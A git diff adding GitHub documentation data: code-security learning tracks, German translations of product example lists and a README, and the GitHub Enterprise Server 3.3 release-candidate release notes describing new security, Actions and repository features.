+    - '{% ifversion ghec or ghes %}/code-security/secret-scanning/managing-alerts-from-secret-scanning {% endif %}'
+    - '{% ifversion ghec or ghes %}/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository{% endif %}'
+    - '{% ifversion ghec or ghes %}/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/triaging-code-scanning-alerts-in-pull-requests{% endif %}'
+    - '{% ifversion ghec or ghes %}/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/viewing-and-updating-vulnerable-dependencies-in-your-repository{% endif %}'
+
+# Feature available in all versions from GHES 2.22 up
+code_security_actions:
+  title: 'Run code scanning with GitHub Actions'
+  description: 'Check your default branch and every pull request to keep vulnerabilities and errors out of your repository.'
+  featured_track: '{% ifversion ghae or ghes %}true{% else %}false{% endif %}'
+  guides:
+    - /code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning
+    - /code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository
+    - /code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning
+    - /code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-the-codeql-workflow-for-compiled-languages
+    - /code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/running-codeql-code-scanning-in-a-container
+    - /code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/troubleshooting-the-codeql-workflow
+
+# Feature available in all versions from GHES 2.22 up
+code_security_integration:
+  title: 'Integrate with code scanning'
+  description: 'Upload code analysis results from third-party systems to GitHub using SARIF.'
+  guides:
+    - /code-security/code-scanning/integrating-with-code-scanning/about-integration-with-code-scanning
+    - /code-security/code-scanning/integrating-with-code-scanning/uploading-a-sarif-file-to-github
+    - /code-security/code-scanning/integrating-with-code-scanning/sarif-support-for-code-scanning
+    - /rest/reference/code-scanning
+
+# Feature available in all versions from GHES 2.22 up
+code_security_ci:
+  title: 'Run CodeQL code scanning in your CI'
+  description: 'Set up CodeQL within your existing CI and upload results to GitHub code scanning.'
+  guides:
+    - /code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/about-codeql-code-scanning-in-your-ci-system
+    - /code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system
+    - /code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-cli-in-your-ci-system
+    - /code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/migrating-from-the-codeql-runner-to-codeql-cli
+    - /code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/troubleshooting-codeql-runner-in-your-ci-system
+
+# Feature available in all versions
+end_to_end_supply_chain:
+  title: 'End-to-end supply chain'
+  description: 'How to think about securing your user accounts, your code, and your build process.'
+  guides:
+    - /code-security/supply-chain-security/end-to-end-supply-chain/end-to-end-supply-chain-overview
+    - /code-security/supply-chain-security/end-to-end-supply-chain/securing-accounts
+    - /code-security/supply-chain-security/end-to-end-supply-chain/securing-code
+    - /code-security/supply-chain-security/end-to-end-supply-chain/securing-builds
diff --git a/translations/de-DE/data/product-examples/README.md b/translations/de-DE/data/product-examples/README.md
new file mode 100644
index 0000000000..4e331cc6ee
--- /dev/null
+++ b/translations/de-DE/data/product-examples/README.md
@@ -0,0 +1,50 @@
+---
+ms.openlocfilehash: 51fbe18842922b1c8fad2535d2f67230413933c2
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145068280"
+---
+# Produktzielbeispiele
+
+Seiten im `product-landing`-Layout können optional einen `Examples`-Abschnitt enthalten. Derzeit werden drei Typen von Beispielen unterstützt:
+
+1. Codebeispiele findest du unter https://docs.github.com/en/codespaces#code-examples.
+
+2. Communitybeispiele findest du unter https://docs.github.com/en/discussions#community-examples.
+
+3. Benutzerbeispiele findest du unter https://docs.github.com/en/sponsors#community-examples.
+
+## Funktionsweise
+
+Beispieldaten für die einzelnen Produkte werden in `data/product-landing-examples` definiert, in einem Unterverzeichnis mit dem Namen des **Produkts** und einer YML-Datei mit dem Namen des **Beispieltyps** (z. B. `data/product-examples/sponsors/user-examples.yml` oder `data/product-examples/codespaces/code-examples.yml`). Derzeit unterstützen wir nur einen Beispieltyp pro Produkt.
+
+### Versionsverwaltung
+
+Derzeit wird die Versionsverwaltung nur in Codebeispielen unterstützt. Wenn ein Beispielblock in **allen** Versionen verfügbar sein soll, musst du nichts besonderes tun. Wenn ein Beispielblock jedoch nur in einigen Versionen verfügbar sein sollte, kannst du wie folgt eine `versions`-Eigenschaft hinzufügen:
+
+```
+- title: Dependabot version update PR
+  description: Example pull request generated by the Dependabot version updates configuration in the Super linter repository.
+  href: /github/super-linter/pull/1398
+  languages:
+  tags:
+    - Dependabot
+    - Version updates
+    - Pull requests
+  versions:
+    fpt: '*'
+  ```
+
+Dabei ist die Syntax für `versions` identisch mit der [Frontmatter-`versions`-Eigenschaft](content/README.md) und kann die SemVer-Notation unterstützen.
+
+## Darstellung
+
+Die Produktbeispieldaten werden dem `context`-Objekt in `middleware/contextualizers/product-examples.js` hinzugefügt.
+
+Die Daten werden dann von `components/landing` gerendert.
+
+## Schemaerzwingung
+
+TODO
diff --git a/translations/de-DE/data/product-examples/code-security/code-examples.yml b/translations/de-DE/data/product-examples/code-security/code-examples.yml
new file mode 100644
index 0000000000..e3df84ee2f
--- /dev/null
+++ b/translations/de-DE/data/product-examples/code-security/code-examples.yml
@@ -0,0 +1,86 @@
+# Code scanning configurations
+- title: CodeQL-Codeüberprüfung bei Microsoft
+  description: Beispielcode-Überprüfungsworkflow für die CodeQL-Aktion aus dem Microsoft-Open-Source-Repository
+  href: /microsoft/opensource.microsoft.com/blob/main/.github/workflows/codeql-analysis.yml
+  languages:
+    - javascript
+  tags:
+    - CodeQL
+    - Codeüberprüfung
+    - GitHub-Aktionen
+- title: CodeQL-Codeüberprüfung für Adversarial Robustness Toolbox (ART)
+  description: Beispielcode-Überprüfungsworkflow für die CodeQL-Aktion aus dem Trusted AI-Repository
+  href: /Trusted-AI/adversarial-robustness-toolbox/blob/main/.github/workflows/codeql-analysis.yml
+  languages:
+    - Python
+  tags:
+    - CodeQL
+    - Codeüberprüfung
+    - GitHub-Aktionen
+
+# Security policies
+- title: Microsoft-Sicherheitsrichtlinienvorlage
+  description: Beispielsicherheitsrichtlinie
+  href: /microsoft/repo-templates/blob/main/shared/SECURITY.md
+  tags:
+    - Sicherheitsrichtlinie
+- title: Electron-Sicherheitsrichtlinie
+  description: Beispielsicherheitsrichtlinie
+  href: /electron/electron/blob/master/SECURITY.md
+  tags:
+    - Sicherheitsrichtlinie
+
+# Example of security advisory in a major product
+- title: Sicherheitsempfehlung für Rails
+  description: Von Rails für CVE-2020-15169 veröffentlichte Sicherheitsempfehlung
+  href: /rails/rails/security/advisories/GHSA-cfjv-5498-mph5
+  tags:
+    - Sicherheitsempfehlung
+
+# Sample scripts for enabling Dependabot alerts and security updates across a whole organization
+- title: Automatisches Aktivieren von Dependabotwarnungen und -sicherheitsupdates
+  description: Beispielskripts zum Aktivieren von Dependabotwarnungen und -sicherheitsupdates für eine gesamte Organisation
+  href: /github/enable-security-alerts-sample
+  tags:
+    - Dependabot
+    - Alerts
+    - Sicherheitsupdates
+    - Organization
+    - Skripts
+  versions:
+    fpt: '*'
+    ghec: '*'
+    ghes: '>=3.3'
+
+# Dependabot configuration only relevant to GitHub.com and GHES 3.3+
+# Convert "languages" to "package-ecosystems" for Dependabot configurations
+- title: Super-Linter-Konfiguration
+  description: Eine Beispielversion von Dependabot aktualisiert die Konfiguration aus dem Super-Linter-Repository.
+  href: /github/super-linter/blob/master/.github/dependabot.yml
+  languages:
+    - github-actions
+    - npm
+    - bundler
+    - docker
+    - pip
+  tags:
+    - Dependabot
+    - Versionsupdates
+    - Konfiguration
+  versions:
+    fpt: '*'
+    ghec: '*'
+    ghes: '>=3.3'
+
+- title: Dependabotversionsupdate-PR
+  description: "Ein Beispiel-Pull Request, der von der Dependabotversion generiert wurde, aktualisiert die Konfiguration im Super-Linter-Repository."
+  href: /github/super-linter/pull/1398
+  languages:
+  tags:
+    - Dependabot
+    - Versionsupdates
+    - Pull Requests
+  versions:
+    fpt: '*'
+    ghec: '*'
+    ghes: '>=3.3'
diff --git a/translations/de-DE/data/product-examples/codespaces/code-examples.yml b/translations/de-DE/data/product-examples/codespaces/code-examples.yml
new file mode 100644
index 0000000000..3ff6d539d2
--- /dev/null
+++ b/translations/de-DE/data/product-examples/codespaces/code-examples.yml
@@ -0,0 +1,36 @@
+- title: Node.js-Beispielprojekt
+  description: Ausprobieren eines Node.js-Projekts mit einem benutzerdefinierten Entwicklungscontainer
+  languages: Javascript
+  href: microsoft/vscode-remote-try-node
+  tags:
+    - Entwicklungscontainer
+- title: Python-Beispielprojekt
+  description: Ausprobieren eines Python-Projekts mit einem benutzerdefinierten Entwicklungscontainer
+  languages: Python
+  href: microsoft/vscode-remote-try-python
+  tags:
+    - Entwicklungscontainer
+- title: Java-Beispielprojekt
+  description: Ausprobieren eines Java-Projekts mit einem benutzerdefinierten Entwicklungscontainer
+  languages: Java
+  href: microsoft/vscode-remote-try-java
+  tags:
+    - Entwicklungscontainer
+- title: Go-Beispielprojekt
+  description: Ausprobieren eines Go-Projekts mit einem benutzerdefinierten Entwicklungscontainer
+  languages: Go
+  href: microsoft/vscode-remote-try-go
+  tags:
+    - Entwicklungscontainer
+- title: Rust-Beispielprojekt
+  description: Ausprobieren eines Rust-Projekts mit einem benutzerdefinierten Entwicklungscontainer
+  languages: Rust
+  href: microsoft/vscode-remote-try-rust
+  tags:
+    - Entwicklungscontainer
+- title: PHP-Beispielprojekt
+  description: Ausprobieren eines PHP-Projekts mit einem benutzerdefinierten Entwicklungscontainer
+  languages: PHP
+  href: microsoft/vscode-remote-try-php
+  tags:
+    - Entwicklungscontainer
diff --git a/translations/de-DE/data/product-examples/discussions/community-examples.yml b/translations/de-DE/data/product-examples/discussions/community-examples.yml
new file mode 100644
index 0000000000..c1a2aec082
--- /dev/null
+++ b/translations/de-DE/data/product-examples/discussions/community-examples.yml
@@ -0,0 +1,37 @@
+# Images and descriptions are pulled directly from the repo
+
+- repo: vercel/next.js
+  description: Das React-Framework
+
+- repo: gatsbyjs/gatsby
+  description: "Erstelle mit React blitzschnelle, moderne Apps und Websites"
+
+- repo: nodejs/node
+  description: Die JavaScript-Runtime für Node.js ✨🐢🚀✨
+
+- repo: tailwindlabs/tailwindcss
+  description: Ein auf Nützlichkeit ausgelegtes CSS-Framework für die schnelle UI-Entwicklung
+
+- repo: laravel/framework
+  description: "Bei Laravel handelt es sich um ein Webanwendungsframework mit ausdrucksvoller, eleganter Syntax."
+
+- repo: prisma/prisma
+  description: "Moderner Datenbankzugriff (ORM-Alternative) für Node.js und TypeScript | PostgreSQL, MySQL, MariaDB und SQLite"
+
+- repo: dotnet/csharplang
+  description: "Das offizielle Repository für den Entwurf der C#-Programmiersprache"
+
+- repo: home-assistant/frontend
+  description: 🍭 Front-End für Home Assistant
+
+- repo: jspsych/jsPsych
+  description: Eine JavaScript-Bibliothek zum Erstellen und Ausführen von Verhaltensexperimenten in einem Webbrowser
+
+- repo: adonisjs/core
+  description: "🚀 Das stark auf Entwicklerergonomie, Stabilität und Konfidenz fokussierte Node.js-Framework"
+
+- repo: ImageMagick/ImageMagick
+  description: 🧙‍♂️ ImageMagick 7
+
+- repo: react-hook-form/react-hook-form
+  description: 📋 React-Hooks für die Formularvalidierung (Web und React Native)
diff --git a/translations/de-DE/data/product-examples/sponsors/user-examples.yml b/translations/de-DE/data/product-examples/sponsors/user-examples.yml
new file mode 100644
index 0000000000..5715477022
--- /dev/null
+++ b/translations/de-DE/data/product-examples/sponsors/user-examples.yml
@@ -0,0 +1,19 @@
+# Images and descriptions are pulled directly from the repo
+
+- user: chaynHQ
+  description: "Chayn hilft Frauen, die missbraucht werden, die richtigen Informationen und Unterstützung zu finden, um die Kontrolle über ihr Leben zu übernehmen."
+
+- user: foosel
+  description: "👋 Ich bin Gina, und ich bin hauptsächlich als die Erstellerin und Hauptentwicklerin von OctoPrint bekannt 🐙."
+
+- user: dayhaysoos
+  description: "Wie geht‘s? Ich bin Nick. Ich bin ein Ingenieur mit der neu entdeckten Leidenschaft, Hindernisse bei der E-Commerce-Entwicklung zu entfernen."
+
+- user: yyx990803
+  description: "Ich arbeite Vollzeit an Vue.js, einem Front-End-Framework für JavaScript zum Erstellen von Webanwendungen, und Vite, einem modernen Webbuildtool."
+
+- user: calebporzio
+  description: "🚶‍♂️Ich habe meinen Job im Januar 2019 aufgegeben, um mich Open-Source zu widmen. Seitdem habe ich Laravel Livewire, AlpineJS und eine Reihe anderer Dinge erstellt."
+
+- user: kjaymiller
+  description: "Hi miteinander, ich bin Jay! 👋 Ich bin ein Marineinfanteriekorpsveteran, jetzt Entwickler, der seit 2014 aktiv programmiert. Ich bin beteilige mich auch am Produktivitätsbereich, wo ich Menschen mit Automatisierungen für einige ihrer bevorzugten Apps und Tools helfe."
diff --git a/translations/de-DE/data/release-notes/enterprise-server/3-3/0-rc1.yml b/translations/de-DE/data/release-notes/enterprise-server/3-3/0-rc1.yml
new file mode 100644
index 0000000000..840bd35324
--- /dev/null
+++ b/translations/de-DE/data/release-notes/enterprise-server/3-3/0-rc1.yml
@@ -0,0 +1,299 @@
+date: '2021-11-09'
+release_candidate: true
+deprecated: true
+intro: |
+  {% note %}
+
+  **Note:** If {% data variables.location.product_location %} is running a release candidate build, you can't upgrade with a hotpatch. We recommend only running release candidates on test environments.
+
+  {% endnote %}
+
+  For upgrade instructions, see "[Upgrading {% data variables.product.prodname_ghe_server %}](/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server)."
+sections:
+  features:
+    - heading: Security Manager role
+      notes:
+        # https://github.com/github/releases/issues/1610
+        - |
+          Organization owners can now grant teams the access to manage security alerts and settings on their repositories. The "security manager" role can be applied to any team and grants the team's members the following access:
+
+          - Read access on all repositories in the organization.
+          - Write access on all security alerts in the organization.
+          - Access to the organization-level security tab.
+          - Write access on security settings at the organization level.
+          - Write access on security settings at the repository level.
+
+          For more information, see "[Managing security managers in your organization](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-security-managers-in-your-organization)."
+
+    - heading: 'Ephemeral self-hosted runners for GitHub Actions & new webhooks for auto-scaling'
+      notes:
+        # https://github.com/github/releases/issues/1378
+        - |
+          {% data variables.product.prodname_actions %} now supports ephemeral (single job) self-hosted runners and a new [`workflow_job`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#workflow_job) webhook to make autoscaling runners easier.
+
+          Ephemeral runners are good for self-managed environments where each job is required to run on a clean image. After a job is run, ephemeral runners are automatically unregistered from {% data variables.location.product_location %}, allowing you to perform any post-job management.
+
+          You can combine ephemeral runners with the new `workflow_job` webhook to automatically scale self-hosted runners in response to {% data variables.product.prodname_actions %} job requests.
+
+          For more information, see "[Autoscaling with self-hosted runners](/actions/hosting-your-own-runners/autoscaling-with-self-hosted-runners)" and "[Webhook events and payloads](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#workflow_job)."
+
+    - heading: 'Dark high contrast theme'
+      notes:
+        # https://github.com/github/releases/issues/1539
+        - |
+          A dark high contrast theme, with greater contrast between foreground and background elements, is now available on {% data variables.product.prodname_ghe_server %} 3.3. This release also includes improvements to the color system across all {% data variables.product.company_short %} themes.
+
+          ![Animated image of switching between dark default theme and dark high contrast on the appearance settings page](https://user-images.githubusercontent.com/334891/123645834-ad096c00-d7f4-11eb-85c9-b2c92b00d70a.gif)
+
+          For more information about changing your theme, see "[Managing your theme settings](/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-your-theme-settings)."
+
+  changes:
+    - heading: Administration Changes
+      notes:
+        # https://github.com/github/releases/issues/1666
+        - '{% data variables.product.prodname_ghe_server %} 3.3 includes improvements to the maintenance of repositories, especially for repositories that contain many unreachable objects. Note that the first maintenance cycle after upgrading to {% data variables.product.prodname_ghe_server %} 3.3 may take longer than usual to complete.'
+
+        # https://github.com/github/releases/issues/1533
+        - '{% data variables.product.prodname_ghe_server %} 3.3 includes the public beta of a repository cache for geographically-distributed teams and CI infrastructure. The repository cache keeps a read-only copy of your repositories available in additional geographies, which prevents clients from downloading duplicate Git content from your primary instance. For more information, see "[About repository caching](/admin/enterprise-management/caching-repositories/about-repository-caching)."'
+
+        # https://github.com/github/releases/issues/1616
+        - '{% data variables.product.prodname_ghe_server %} 3.3 includes improvements to the user impersonation process. An impersonation session now requires a justification for the impersonation, actions are recorded in the audit log as being performed as an impersonated user, and the user who is impersonated will receive an email notification that they have been impersonated by an enterprise administrator. For more information, see "[Impersonating a user](/enterprise-server@3.3/admin/user-management/managing-users-in-your-enterprise/impersonating-a-user)."'
+
+        # https://github.com/github/releases/issues/1609
+        - A new stream processing service has been added to facilitate the growing set of events that are published to the audit log, including events associated with Git and {% data variables.product.prodname_actions %} activity.
+
+    - heading: Token Changes
+      notes:
+        # https://github.com/github/releases/issues/1390
+        - |
+          An expiration date can now be set for new and existing personal access tokens. Setting an expiration date on personal access tokens is highly recommended to prevent older tokens from leaking and compromising security. Token owners will receive an email when it's time to renew a token that's about to expire. Tokens that have expired can be regenerated, giving users a duplicate token with the same properties as the original.
+
+          When using a personal access token with the {% data variables.product.company_short %} API, a new `GitHub-Authentication-Token-Expiration` header is included in the response, which indicates the token's expiration date. For more information, see "[Creating a personal access token](/github/authenticating-to-github/keeping-your-account-and-data-secure/creating-a-personal-access-token)."
+
+    - heading: 'Notifications changes'
+      notes:
+        # https://github.com/github/releases/issues/1625
+        - 'Notification emails from discussions now include `(Discussion #xx)` in the subject, so you can recognize and filter emails that reference discussions.'
+
+    - heading: 'Repositories changes'
+      notes:
+        # https://github.com/github/releases/issues/1735
+        - Public repositories now have a `Public` label next to their names like private and internal repositories. This change makes it easier to identify public repositories and avoid accidentally committing private code.
+
+        # https://github.com/github/releases/issues/1733
+        - If you specify the exact name of a branch when using the branch selector menu, the result now appears at the top of the list of matching branches. Previously, exact branch name matches could appear at the bottom of the list.
+
+        # https://github.com/github/releases/issues/1673
+        - When viewing a branch that has a corresponding open pull request, {% data variables.product.prodname_ghe_server %} now links directly to the pull request. Previously, there would be a prompt to contribute using branch comparison or to open a new pull request.
+
+        # https://github.com/github/releases/issues/1670
+        - You can now click a button to copy the full raw contents of a file to the clipboard. Previously, you would need to open the raw file, select all, and then copy. To copy the contents of a file, navigate to the file and click {% octicon "copy" aria-label="The copy icon" %} in the toolbar. Note that this feature is currently only available in some browsers.
+
+        # https://github.com/github/releases/issues/1571
+        - When creating a new release, you can now select or create the tag using a dropdown selector, rather than specifying the tag in a text field. For more information, see "[Managing releases in a repository](/repositories/releasing-projects-on-github/managing-releases-in-a-repository)."
+
+        # https://github.com/github/releases/issues/1752
+        - A warning is now displayed when viewing a file that contains bidirectional Unicode text. Bidirectional Unicode text can be interpreted or compiled differently than it appears in a user interface. For example, hidden bidirectional Unicode characters can be used to swap segments of text in a file. For more information about replacing these characters, see the [{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-10-31-warning-about-bidirectional-unicode-text/).
+
+        # https://github.com/github/releases/issues/1416
+        - You can now use `CITATION.cff` files to let others know how you would like them to cite your work. `CITATION.cff` files are plain text files with human- and machine-readable citation information. {% data variables.product.prodname_ghe_server %} parses this information into common citation formats such as [APA](https://apastyle.apa.org) and [BibTeX](https://en.wikipedia.org/wiki/BibTeX). For more information, see "[About CITATION files](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-citation-files)."
+
+    - heading: 'Markdown changes'
+      notes:
+        # https://github.com/github/releases/issues/1645
+        - |
+          You can use new keyboard shortcuts for quotes and lists in Markdown files, issues, pull requests, and comments.
+
+          * To add quotes, use <kbd>cmd shift .</kbd> on Mac, or <kbd>ctrl shift .</kbd> on Windows and Linux.
+          * To add an ordered list, use <kbd>cmd shift 7</kbd> on Mac, or <kbd>ctrl shift 7</kbd> on Windows and Linux.
+          * To add an unordered list, use <kbd>cmd shift 8</kbd> on Mac, or <kbd>ctrl shift 8</kbd> on Windows and Linux.
+
+          See "[Keyboard shortcuts](/get-started/using-github/keyboard-shortcuts)" for a full list of available shortcuts.
+
+        # https://github.com/github/releases/issues/1684
+        - You can now use footnote syntax in any Markdown field. Footnotes are displayed as superscript links that you can click to jump to the referenced information, which is displayed in a new section at the bottom of the document. For more information about the syntax, see "[Basic writing and formatting syntax](/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax#footnotes)."
+
+        # https://github.com/github/releases/issues/1647
+        - When viewing Markdown files, you can now click {% octicon "code" aria-label="The code icon" %} in the toolbar to view the source of a Markdown file. Previously, you needed to use the blame view to link to specific line numbers in the source of a Markdown file.
+
+        # https://github.com/github/releases/issues/1600
+        - You can now add images and videos to Markdown files in gists by pasting them into the Markdown body or selecting them from the dialog at the bottom of the Markdown file. For information about supported file types, see "[Attaching files](https://docs.github.com/en/github/writing-on-github/working-with-advanced-formatting/attaching-files)."
+
+        # https://github.com/github/releases/issues/1523
+        - '{% data variables.product.prodname_ghe_server %} now automatically generates a table of contents for Wikis, based on headings.'
+
+        # https://github.com/github/releases/issues/1626
+        - When dragging and dropping files into a Markdown editor, such as images and videos, {% data variables.product.prodname_ghe_server %} now uses the mouse pointer location instead of the cursor location when placing the file.
+
+    - heading: 'Issues and pull requests changes'
+      notes:
+        # https://github.com/github/releases/issues/1504
+        - You can now search issues by label using a logical OR operator. To filter issues using logical OR, use the comma syntax. For example, `label:"good first issue","bug"` will list all issues with a label of `good first issue` or `bug`. For more information, see "[Filtering and searching issues and pull requests](/issues/tracking-your-work-with-issues/filtering-and-searching-issues-and-pull-requests#about-search-terms)."
+
+        # https://github.com/github/releases/issues/1685
+        - |
+          Improvements have been made to help teams manage code review assignments. You can now:
+
+          - Limit assignment to only direct members of the team.
+          - Continue with automatic assignment even if one or more members of the team are already requested.
+          - Keep a team assigned to review even if one or more members is newly assigned.
+
+          The timeline and reviewers sidebar on the pull request page now indicate if a review request was automatically assigned to one or more team members.
+
+          For more information, see the [{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-09-29-new-code-review-assignment-settings-and-team-filtering-improvements/).
+        - You can now filter pull request searches to only include pull requests you are directly requested to review.
+        # https://github.com/github/releases/issues/1683
+        - Filtered files in pull requests are now completely hidden from view, and are no longer shown as collapsed in the "Files Changed" tab. The "File Filter" menu has also been simplified. For more information, see "[Filtering files in a pull request](/github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/filtering-files-in-a-pull-request)."
+
+    - heading: 'GitHub Actions changes'
+      notes:
+        # https://github.com/github/releases/issues/1593
+        - You can now create "composite actions" which combine multiple workflow steps into one action, and includes the ability to reference other actions. This makes it easier to reduce duplication in workflows. Previously, an action could only use scripts in its YAML definition. For more information, see "[Creating a composite action](/actions/creating-actions/creating-a-composite-action)."
+
+        # https://github.com/github/releases/issues/1694
+        - Managing self-hosted runners at the enterprise level no longer requires using personal access tokens with the `admin:enterprise` scope. You can instead use the new `manage_runners:enterprise` scope to restrict the permissions on your tokens. Tokens with this scope can authenticate to [many REST API endpoints](/rest/reference/enterprise-admin#list-self-hosted-runner-groups-for-an-enterprise) to manage your enterprise's self-hosted runners.
+
+        # https://github.com/github/releases/issues/1157
+        - |
+          The audit log now includes additional events for {% data variables.product.prodname_actions %}. Audit log entries are now recorded for the following events:
+
+          * A self-hosted runner is registered or removed.
+          * A self-hosted runner is added to a runner group, or removed from a runner group.
+          * A runner group is created or removed.
+          * A workflow run is created or completed.
+          * A workflow job is prepared. Importantly, this log includes the list of secrets that were provided to the runner.
+
+          For more information, see "[Security hardening for {% data variables.product.prodname_actions %}](/actions/security-guides/security-hardening-for-github-actions#auditing-github-actions-events)."
+
+        # https://github.com/github/releases/issues/1588
+        - Performance improvements have been made to {% data variables.product.prodname_actions %}, which may result in higher maximum job concurrency.
+
+    - heading: 'GitHub Packages changes'
+      notes:
+        # https://github.com/github/docs-content/issues/5554
+        - When a repository is deleted, any associated package files are now immediately deleted from your {% data variables.product.prodname_registry %} external storage.
+
+    - heading: 'Dependabot and Dependency graph changes'
+      notes:
+        # https://github.com/github/releases/issues/1141
+        - Dependency review is out of beta and is now generally available for {% data variables.product.prodname_GH_advanced_security %} customers. Dependency review provides an easy-to-understand view of dependency changes and their security impact in the "Files changed" tab of pull requests. It informs you of which dependencies were added, removed, or updated, along with vulnerability information. For more information, see "[Reviewing dependency changes in a pull request](/github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-dependency-changes-in-a-pull-request)."
+
+        # https://github.com/github/releases/issues/1630
+        - '{% data variables.product.prodname_dependabot %} is now available as a private beta, offering both version updates and security updates for several popular ecosystems. {% data variables.product.prodname_dependabot %} on {% data variables.product.prodname_ghe_server %} requires {% data variables.product.prodname_actions %} and a pool of self-hosted runners configured for {% data variables.product.prodname_dependabot %} use. {% data variables.product.prodname_dependabot %} on {% data variables.product.prodname_ghe_server %} also requires {% data variables.product.prodname_github_connect %} to be enabled. To learn more and sign up for the beta, contact the GitHub Sales team.'
+
+    - heading: 'Code scanning and secret scanning changes'
+      notes:
+        # https://github.com/github/releases/issues/1724
+        - The depth of {% data variables.product.prodname_codeql %}'s analysis has been improved by adding support for more [libraries and frameworks](https://codeql.github.com/docs/codeql-overview/supported-languages-and-frameworks/) and increasing the coverage of our existing library and framework models. [JavaScript](https://github.com/github/codeql/tree/main/javascript) analysis now supports most common templating languages, and [Java](https://github.com/github/codeql/tree/main/java) now covers more than three times the endpoints of previous {% data variables.product.prodname_codeql %} versions. As a result, {% data variables.product.prodname_codeql %} can now detect even more potential sources of untrusted user data, steps through which that data flows, and potentially dangerous sinks where the data could end up. This results in an overall improvement of the quality of {% data variables.product.prodname_code_scanning %} alerts.
+
+        # https://github.com/github/releases/issues/1639
+        - '{% data variables.product.prodname_codeql %} now supports scanning standard language features in Java 16, such as records and pattern matching. {% data variables.product.prodname_codeql %} is able to analyze code written in Java version 7 through 16. For more information about supported languages and frameworks, see the [{% data variables.product.prodname_codeql %} documentation](https://codeql.github.com/docs/codeql-overview/supported-languages-and-frameworks/#id5).'
+
+        # https://github.com/github/releases/issues/1655
+        - |
+          Improvements have been made to the {% data variables.product.prodname_code_scanning %} `on:push` trigger when code is pushed to a pull request. If an `on:push` scan returns results that are associated with a pull request, {% data variables.product.prodname_code_scanning %} will now show these alerts on the pull request.
+
+          Some other CI/CD systems can be exclusively configured to trigger a pipeline when code is pushed to a branch, or even exclusively for every commit. Whenever such an analysis pipeline is triggered and results are uploaded to the SARIF API, {% data variables.product.prodname_code_scanning %} will also try to match the analysis results to an open pull request. If an open pull request is found, the results will be published as described above. For more information, see the [{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-09-27-showing-code-scanning-alerts-on-pull-requests/).
+
+        # https://github.com/github/releases/issues/1546
+        - You can now use the new pull request filter on the {% data variables.product.prodname_code_scanning %} alerts page to find all the {% data variables.product.prodname_code_scanning %} alerts associated with a pull request. A new "View all branch alerts" link on the pull request "Checks" tab allows you to directly view {% data variables.product.prodname_code_scanning %} alerts with the specific pull request filter already applied. For more information, see the [{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-08-23-pull-request-filter-for-code-scanning-alerts/).
+
+        # https://github.com/github/releases/issues/1562
+        - User defined patterns for {% data variables.product.prodname_secret_scanning %} is out of beta and is now generally available for {% data variables.product.prodname_GH_advanced_security %} customers. Also new in this release is the ability to edit custom patterns defined at the repository, organization, and enterprise levels. After editing and saving a pattern, {% data variables.product.prodname_secret_scanning %} searches for matches both in a repository's entire Git history and in any new commits. Editing a pattern will close alerts previously associated with the pattern if they no longer match the updated version. Other improvements, such as dry-runs, are planned in future releases. For more information, see "[Defining custom patterns for secret scanning](/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning)."
+
+    - heading: API and webhook changes
+      notes:
+        # https://github.com/github/releases/issues/1744
+        - Most REST API previews have graduated and are now an official part of the API. Preview headers are no longer required for most REST API endpoints, but will still function as expected if you specify a graduated preview in the `Accept` header of a request. For previews that still require specifying the preview in the `Accept` header of a request, see "[API previews](/rest/overview/api-previews)."
+
+        # https://github.com/github/releases/issues/1513
+        - You can now use the REST API to configure custom autolinks to external resources. The REST API now provides beta `GET`/`POST`/`DELETE` endpoints which you can use to view, add, or delete custom autolinks associated with a repository. For more information, see "[Autolinks](/rest/reference/repos#autolinks)."
+
+        # https://github.com/github/releases/issues/1578
+        - You can now use the REST API to sync a forked repository with its upstream repository. For more information, see "[Branches](/rest/reference/branches#sync-a-fork-branch-with-the-upstream-repository)" in the REST API documentation.
+
+        # https://github.com/github/releases/issues/1527
+        - Enterprise administrators on GitHub Enterprise Server can now use the REST API to enable or disable Git LFS for a repository. For more information, see "[Repositories](/rest/reference/repos#git-lfs)."
+
+        # https://github.com/github/releases/issues/1476
+        - You can now use the REST API to query the audit log for an enterprise. While audit log forwarding provides the ability to retain and analyze data with your own toolkit and determine patterns over time, the new endpoint can help you perform limited analysis on recent events. For more information, see "[{% data variables.product.prodname_enterprise %} administration](/rest/reference/enterprise-admin#get-the-audit-log-for-an-enterprise)" in the REST API documentation.
+
+        # https://github.com/github/releases/issues/1485
+        - GitHub App user-to-server API requests can now read public resources using the REST API. This includes, for example, the ability to list a public repository's issues and pull requests, and to access a public repository's comments and content.
+
